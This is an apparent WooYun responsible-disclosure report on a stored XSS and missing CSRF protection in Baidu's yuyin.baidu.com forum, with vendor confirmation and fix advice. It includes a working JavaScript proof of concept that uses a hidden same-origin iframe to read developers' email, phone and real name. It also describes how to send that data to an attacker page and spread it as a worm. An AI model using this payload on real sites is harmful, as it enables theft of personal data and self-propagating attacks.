当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136118

漏洞标题:百度某站储存型xss可导致泄露开发者个人信息(可顺带csrf触发小规模蠕虫)

相关厂商:百度

漏洞作者: salt

提交时间:2015-08-24 12:08

修复时间:2015-10-08 12:28

公开时间:2015-10-08 12:28

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-24: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

既然对cookie设置httponly了,那么只能玩点其他的了

详细说明:

问题出在http://yuyin.baidu.com/,貌似基本没有对输出进行过滤,各种储存型xss。
以问答社区为例。随便回答一个问题,抓包,将post的content参数的内容改成xsspayload即可。
如果就这么结束了也就没啥好玩的了。
简单地抓包可以发现,在提问题和回答问题两个地方都没有进行csrf保护,可以劫持发帖,散播上面提到的xss payload。
如果只是这样一个xss的蠕虫也没啥意思,毕竟是个小众论坛,基本没啥人气,再蠕虫也蠕虫不到哪里去。
如果能顺带泄露开发者的个人信息呢?这听起来有点意思。
在http://yuyin.baidu.com/user/update页面(首先得注册开发者,忽略这个页面上的self xss),可以获取到开发者的姓名、email和手机号。话说打码了怎么办,右击-查看源码就都出来了~
接下来的工作就是通过xss获取开发者的这些信息。
由于是同源,可以在bbs页面用iframe来获取修改信息页面的一些资料。
js poc代码如下,为了不影响正常的业务,没有加蠕虫逻辑:

window.onload = function () {
var div1 = document.createElement("div");
var frame1 = document.createElement("iframe");
frame1.id = "frame1";
frame1.style.display = "none"
frame1.onload = function () {
var iframe = document.getElementById("frame1");
var iframeDocument = iframe.contentDocument || iframe.contentWindow.document;
var html = iframeDocument.getElementsByTagName('html')[0]
if (html != null) {
console.log("Email:" + html.getElementsByClassName("eui-form-input input-w1")[0].getAttribute("data-show"))
console.log("Phone:" + html.getElementsByClassName("eui-form-input input-w1")[1].getAttribute("data-show"))
console.log("realname:" + html.getElementsByClassName("eui-form-input input-w2")[0].value)
console.log("nickname:" + html.getElementsByClassName("dropdown-toggle")[2].innerHTML.trim().split(" ")[0].trim())
}
};
frame1.src = "/user/update";
div1.appendChild(frame1);
document.body.appendChild(div1);
};


代码获取了邮箱、电话,真实姓名、昵称。将console.log换成发送到自己的记录页面,顺手加入csrf提问题的ajax post造成蠕虫,各种敏感信息分分钟到手。

漏洞证明:

1.jpg


2.jpg


3.jpg


由于测试账号没有注册开发者,所以截图中木有敏感信息~

修复方案:

对输出进行xss过滤
提问题和回答的地方进行csrf防护
对该打码的敏感信息进行真正打码。。

版权声明:转载请注明来源 salt@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-08-24 12:26

厂商回复:

感谢提交

最新状态:

暂无